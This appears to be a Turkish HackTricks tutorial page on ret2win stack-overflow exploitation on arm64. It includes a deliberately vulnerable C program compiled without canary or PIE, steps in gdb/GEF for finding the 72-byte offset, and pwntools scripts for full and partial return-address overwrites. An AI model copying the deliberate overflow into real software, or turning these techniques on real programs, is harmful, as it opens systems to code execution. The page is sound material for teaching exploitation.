Ret2win - arm64

Ret2win - arm64

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

arm64'e giriş için şunları bulun:

Introduction to ARM64v8

Kod

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Compile without pie and canary:

gcc -o ret2win -fno-stack-protector -no-pie ret2win.c
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Offset Bulma

Desen Seçeneği

Bu örnek GEF kullanılarak oluşturuldu:

Gdb'yi gef ile başlat, desen oluştur ve kullan:

gdb -q ./ret2win
pattern create 200
run

arm64, x30 kaydındaki (ele geçirilmiş) adrese geri dönmeye çalışacaktır, bunu desen ofsetini bulmak için kullanabiliriz:

pattern search $x30

Ofset 72'dir (9x48).

Yığın ofset seçeneği

pc kaydının saklandığı yığın adresini alarak başlayın:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Şimdi read()'den sonra bir kesme noktası ayarlayın ve read() çalıştırılana kadar devam edin ve 13371337 gibi bir desen ayarlayın:

b *vulnerable_function+28
c

Bu desenin bellekte nerede saklandığını bulun:

Sonra: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win fonksiyonunun adresini alın:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Sömürü:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Aslında bu, yığında saklanan PC'de daha çok off-by-2 gibi olacak. Tüm dönüş adresini yazmak yerine, sadece son 2 baytı 0x06c4 ile yazacağız.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

ARM64'te başka bir off-by-one örneğini https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ adresinde bulabilirsiniz, bu da kurgusal bir zafiyette gerçek bir off-by-one örneğidir.

PIE ile

Binary'yi -no-pie argümanı olmadan derleyin

Off-by-2

Bir leak olmadan kazanan fonksiyonun tam adresini bilemiyoruz ama fonksiyonun binary'den olan offset'ini bilebiliriz ve overwrite ettiğimiz return adresinin zaten yakın bir adrese işaret ettiğini bildiğimizde, bu durumda win fonksiyonuna olan offset'i (0x7d4) leak etmek ve sadece o offset'i kullanmak mümkündür:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()


<div data-gb-custom-block data-tag="hint" data-style='success'>

AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks'i Destekleyin</summary>

* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.

</details>

</div>

Last updated